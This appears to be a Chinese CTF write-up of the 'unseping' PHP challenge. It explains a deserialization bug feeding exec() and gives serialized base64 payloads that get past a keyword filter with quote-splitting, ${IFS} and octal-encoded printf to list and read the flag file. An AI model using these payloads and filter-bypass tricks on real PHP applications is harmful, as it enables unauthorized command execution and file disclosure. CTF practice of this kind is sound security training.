当前位置: 首页 > news >正文

攻防世界-web-unseping

题目

image.png
image.png

知识点

  • PHP代码审计
  • PHP序列化和反序列化
  • PHP中魔术方法
  • 命令执行绕过方式

解读源码

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

这道题首先一上来就是一段PHP代码,其中看到unserialize()就知道考的是反序列化,但是我们再往上看代码会发现还有命令执行绕过的知识点。做出这道题的第一步就是能够理清代码执行顺序和各个函数的功能。接下来我们先分析一下源码。

__construct()

参考:https://www.runoob.com/php/func-simplexml-construct.html
这是一个构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
image.png

__destruct()

参考:https://www.runoob.com/php/php-oop.html
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

in_array()

参考:https://www.runoob.com/php/func-array-in-array.html
image.png

all_user_func_array()

image.png

exec()

image.png
image.png

var_dump()

用于输出变量的详细信息,包括值和类型等
image.png
image.png image.png

preg_match_all()

参考:http://php.p2hp.com/manual/zh/function.preg-match-all.php
用于执行一个全局正则表达式匹配
image.png

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。
预先准对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

foreach()

image.png

解题

代码执行顺序:

  1. 以POST方式提交ctf
  2. 对提交的值进行base64解码
  3. 进行反序列化
  4. 然后执行__wakeup()函数
  5. 执行析构函数_destruct()

能够看懂代码之后我们就可以开始进行尝试。由于我们是需要查看当前目录,寻找一下是否有flag的文件提示,但是有一个waf函数进行过滤,所以我们不能直接传参为ls。这就需要我们的命令执行绕过方式了。

系列化

我们可以检验上面我们的思路是否正确。

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array("ifconfig"));
$s = serialize($o);
echo base64_encode($s);
?>

image.png
运行结果:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0=

将上述代码结果以post形式提交进去
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这时候我们发现页面返回了结果:
image.png
这就说明我们整体思路是没有问题的,直接使用命令绕过方法寻找Flag。

命令绕过

上面检验命令是可以执行的,我们接下来思路就放在命令执行绕过过滤即可,寻找flag线索。

  • 单引号
  • 双引号
  • ${Z}

ls看文件/文件夹

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s'));
$s = serialize($o);
echo base64_encode($s);
?>

结果为:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

将结果进行post传参数
image.png
得到结果:
image.png

看文件夹

看到了"flag_1s_here”文件夹,于是我们查看一下该文件夹下目录;于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

结果为:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

将结果进行post传参image.png
看着没有返回东西,但是查看源代码就能发现有东西
image.png

查看flag文件

于是我们通过命令查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php。
/绕过方式:利用oct编码(八进制)绕过;$(printf “\154\163”)//ls命令
通过python脚本实现oct绕过:

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:#对字符先转换为ASCII码,再转换为八进制r = oct(ord(i))#这个主要是为了将八进制前面的0o替换掉r=str(r).replace("0o","")arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)

运行结果:

143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

将其结果带入命令那执行,代码如下:

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$s = serialize($o);echo base64_encode($s);
?>

运行结果:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

post传参:
image.png
然后查看源代码:,得到了flag:
image.png

cyberpeace{40bf3edc1a1acafabd938372352a40f9}

相关文章:

攻防世界-web-unseping

题目 知识点 PHP代码审计PHP序列化和反序列化PHP中魔术方法命令执行绕过方式 解读源码 <?php highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method $method;$this->args $args;}function …...

网络网络层之(4)IPv4协议

网络网络层之(1)IPv4协议 Author: Once Day Date: 2024年4月4日 一位热衷于Linux学习和开发的菜鸟&#xff0c;试图谱写一场冒险之旅&#xff0c;也许终点只是一场白日梦… 漫漫长路&#xff0c;有人对你微笑过嘛… 全系列文档可参考专栏&#xff1a;通信网络技术_Once-Day的…...

16-LINUX--线程安全

一。线程安全 线程安全即就是在多线程运行的时候&#xff0c;不论线程的调度顺序怎样&#xff0c;最终的结果都是 一样的、正确的。那么就说这些线程是安全的。 要保证线程安全需要做到&#xff1a; 1&#xff09; 对线程同步&#xff0c;保证同一时刻只有一个线程访问临界资…...

Flask SQLAlchemy 技术指南

文章目录 什么是 Flask SQLAlchemy&#xff1f;安装 Flask SQLAlchemy创建 Flask 应用和数据库模型添加和查询数据运行 Flask 应用总结**数据库迁移&#xff08;Database Migrations&#xff09;****复杂查询****关系模型****事务处理****性能优化****安全性****扩展功能** Fla…...

js通过时间对JSON中的数据进行排序

需求 现在需要通过每一个数据段的date字段对数组的整体数据进行排序&#xff01; 元数据如下&#xff1a; var data [{"filename": "123","date": "2024-05-10 19:53:57","stand": "GB-14","filter":…...

leetcode206-Reverse Linked List

题目 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1] 分析 用一个指针记录当前位置&#xff0c;另外一个指针记录当前位置的前一个位置&#xff0c…...

云计算第十二课

安装虚拟机 第一步新建虚拟机 选择自定义安装 下一步 选择稍后安装操作系统 选择系统类型和版本 选择虚拟机文件路径&#xff08;建议每台虚拟机单独存放并且路径不要有中文&#xff09;点击下一步 选择bios下一步 选择虚拟机处理器内核数量 默认硬盘或者自行调大硬盘 选择虚…...

【elasticsearch】慢查询替代查询审计的尝试

【elasticsearch】慢查询替代查询审计的尝试 使用了es有两年了&#xff0c;突然发现一个&#xff0c;es没有查询审计日志&#xff0c;某个用户查询了某个索引的审计。 找了官方文档和社区的回复都是说使用slow log替代慢查询。 尝试一下。 参考链接1&#xff1a;https://discus…...

腐烂的橘子BFS

题目&#xff1a; 腐烂的橘子 在给定的 m x n 网格 grid 中&#xff0c;每个单元格可以有以下三个值之一&#xff1a; 值 0 代表空单元格&#xff1b; 值 1 代表新鲜橘子&#xff1b; 值 2 代表腐烂的橘子。 每分钟&#xff0c;腐烂的橘子 周围 4 个方向上相邻 的新鲜橘子…...

什么是分库分表

读写分离主要应对的是数据库读并发&#xff0c;没有解决数据库存储问题。试想一下&#xff1a;如果 MySQL 一张表的数据量过大怎么办? 答案当然是分库分表 什么是分库&#xff1f; 分库 就是将数据库中的数据分散到不同的数据库上&#xff0c;可以垂直分库&#xff0c;也可…...

pytest并发执行用例方案

背景 开始做新项目的UI自动化&#xff0c;需要考虑用例的并发执行&#xff0c;因为之前做的项目是通过插件pytest-parallel 0.1.1 pytest-multithreading-allure 1.0.8来实现的&#xff0c;所以这次也打算用此方法&#xff0c;然而在实际使用过程中发现一些问题。 问题一 通…...

VO,PO,DTO

DTO&#xff08;Data Transfer Object&#xff09;数据传输对象 前后端之间的传输时使用 比如前端登录请求的请求参数有username&#xff0c;password&#xff0c;但后端pojo类user有username&#xff0c;password&#xff0c;birthday&#xff0c;gender时&#xff0c;可以创…...

Java设计模式-工厂

Java设计模式中&#xff0c;工厂模式主要包括普通工厂模式以及抽象工厂模式&#xff0c;普通工厂模式是用于制造输出不同类型的对象&#xff0c;抽象工厂模式是用于制造输出不同类型的普通工厂&#xff0c;本文主要描述工厂模式的基本用法。 如上所示&#xff0c;使用普通工厂模…...

【JavaEE】【1.3 Servlet】1.3.6 监听

什么是Servlet上下文&#xff1f; Servlet上下文&#xff08;Servlet Context&#xff09;是Java Servlet技术中的一个概念&#xff0c;它代表了一个Web应用程序的上下文环境。在Servlet规范中&#xff0c;每个Web应用程序都有一个唯一的Servlet上下文对象&#xff0c;该对象在…...

C#泛型委托

在C#中&#xff0c;delegate 关键字用于声明委托&#xff08;delegates&#xff09;&#xff0c;委托是一种类型安全的函数指针&#xff0c;允许你传递方法作为参数或从方法返回方法。有时我们需要将一个函数作为另一个函数的参数&#xff0c;这时就要用到委托&#xff08;Dele…...

从零开始精通RTSP之多播传输

概述 多播&#xff08;Multicast&#xff09;是一种高效的网络通信技术&#xff0c;它允许一台或多台主机&#xff08;可称为多播源&#xff09;发送单一数据包到多个目标主机&#xff08;可称为多播组的成员&#xff09;&#xff0c;而只有属于该多播组的接收者才会接收到这些…...

(五)STM32F407 cubemx IIC驱动OLED(2)硬件篇

这篇文章主要是个人的学习经验&#xff0c;想分享出来供大家提供思路&#xff0c;如果其中有不足之处请批评指正哈。   废话不多说直接开始主题&#xff0c;本人是基于STM32F407VET6芯片&#xff0c;但是意在你看懂这篇文章后&#xff0c;不管是F1,F4,H7等一系列系统硬件IIC配…...

头歌实践教学平台:CG1-v1.0-点和直线的绘制

第5关&#xff1a;0<k<1直线绘制-中点算法 一.任务描述 根据下面要求&#xff0c;在右侧修改代码&#xff0c;绘制出预期输出的图片。平台会对你编写的代码进行测试。 1.本关任务 掌握一种基本图形元素光栅化算法&#xff0c;利用OpenGL实现直线光栅化的中点画线算法…...

java基础之面向对象的思想

一、面向对象和面向过程的编程思想对比 面向过程&#xff1a;是一种以过程为中心的编程思想&#xff0c;实现功能的每一步&#xff0c;都是自己实现的&#xff08;自己干活&#xff09;。 面向对象&#xff1a;是一种以对象为中心的编程思想&#xff0c;通过指挥对象实现具体的…...

红黑树的理解和简单实现

目录 1. 红黑树的概念和性质 2. 红黑树的插入 2.1. 情况一&#xff1a;新增节点的父亲为空 2.2. 情况二&#xff1a;新增节点的父亲非空且为黑色节点 2.3. 情况三&#xff1a;当父亲为红节点&#xff0c;叔叔存在且为红 2.3.1. 当祖父为根节点的时候 2.3.2. 当祖父不是根…...

告别Excel!用Python复现地理探测器,手把手教你分析空间数据(附完整代码)

告别Excel&#xff01;用Python复现地理探测器&#xff0c;手把手教你分析空间数据&#xff08;附完整代码&#xff09; 空间数据分析在地理信息科学、生态学和城市规划等领域扮演着关键角色。传统的地理探测器分析往往依赖Excel工具包&#xff0c;但这种方式存在诸多限制&…...

Linux应用健康端点实战指南

Linux应用健康端点实战指南本文面向具备一定 Linux 基础的技术人员&#xff0c;围绕应用健康端点展开&#xff0c;重点讨论健康接口、依赖检查和负载均衡摘除。在中级运维和系统管理工作中&#xff0c;这类主题常常与配置变更、资源状态、权限边界、自动化任务和业务影响交织在…...

从直流平衡到时钟恢复:深入剖析8B10B编码在高速串行链路中的核心作用

1. 8B10B编码&#xff1a;高速串行通信的"交通警察" 第一次接触PCIe调试时&#xff0c;我拿着示波器看到波形图上那些密集的跳变信号完全摸不着头脑。直到前辈指着屏幕说&#xff1a;"看见这些有规律的0/1跳变了吗&#xff1f;这就是8B10B在指挥交通。"这个…...

创业公司的落户生根企业培养成为银行的重要招待客户 银行代表政府部门的重要商业交易方式 工作是工程师和一线城市外来务工人口的市民安全保护凭证 城市人口流动严重影响市场监管部门的调查小组分布方向和具体考察

-程序员编程助手科技股份有限责任公司创业公司的落户生根企业培养成为银行的重要招待客户 银行代表政府部门的重要商业交易方式 工作是工程师和一线城市外来务工人口的市民安全保护凭证 城市人口流动严重影响市场监管部门的调查小组分布方向和具体考察要求 创业公司的落户生根企…...

西安给孩子配镜哪个公司口碑好

如果在西安想给孩子配镜&#xff0c;甲目眼镜&#xff08;成都&#xff09;有限公司是个不错的选择。甲目眼镜聚焦中高端写字楼白领与商务人群&#xff0c;同时也为孩子配镜提供优质服务。它以“高性价比的高端眼镜”为使命&#xff0c;严选国内外一线品牌&#xff0c;重塑了品…...

告别云台乱晃!手把手教你用Arduino+SG90舵机实现‘鸡头稳定’效果(附PID模拟器使用心得)

从鸡头稳定到智能云台&#xff1a;ArduinoPID算法实战指南 你是否注意过鸡在行走时头部能保持惊人的稳定&#xff1f;这种被称为"鸡头稳定"的生物现象&#xff0c;启发了工程师们设计出能自动补偿晃动的智能云台系统。本文将带你用Arduino、SG90舵机和MPU6050传感器&…...

轻松管理AD域:一款基于.NET的Web工具推荐

轻松管理AD域&#xff1a;一款基于.NET的Web工具推荐 【下载地址】AD域管理Web版工具 本资源提供了一个基于微软官方文档&#xff0c;使用.NET技术开发的Web AD域管理工具。该工具采用简单的HTML和一般处理程序&#xff08;Generic Handler&#xff09;来实现&#xff0c;旨在为…...

多智能体会被“单强模型”取代吗:从系统复杂度看真实趋势

标题:多智能体会被“单强模型”取代吗:从系统复杂度看真实技术演化趋势 关键词:多智能体系统、通用人工智能、大语言模型、系统复杂度、涌现性、任务分解、AI范式演化 摘要:2024年以来,GPT-4o、Claude 3 Opus等单一大模型的通用能力边界持续突破,不少开发者发现此前需要…...

换背景照片怎么制作?一篇全网最全的AI抠图工具对比指南

最近经常有朋友问我&#xff1a;"怎样才能快速换背景照片啊&#xff1f;"确实&#xff0c;随着自媒体时代的到来&#xff0c;无论是做电商展示产品、准备证件照&#xff0c;还是制作社交媒体内容&#xff0c;都离不开换背景这个需求。今天我就把这两年用过的所有抠图…...

量子计算中SIMD编译优化与离子阱架构实践

1. 量子计算中的SIMD编译优化概述量子计算正逐步从理论走向实践&#xff0c;而离子阱架构因其长相干时间和高保真度操作成为当前最有前景的物理实现方案之一。在传统量子编译器中&#xff0c;指令调度往往采用串行执行模式&#xff0c;导致离子传输和量子门操作存在大量等待时间…...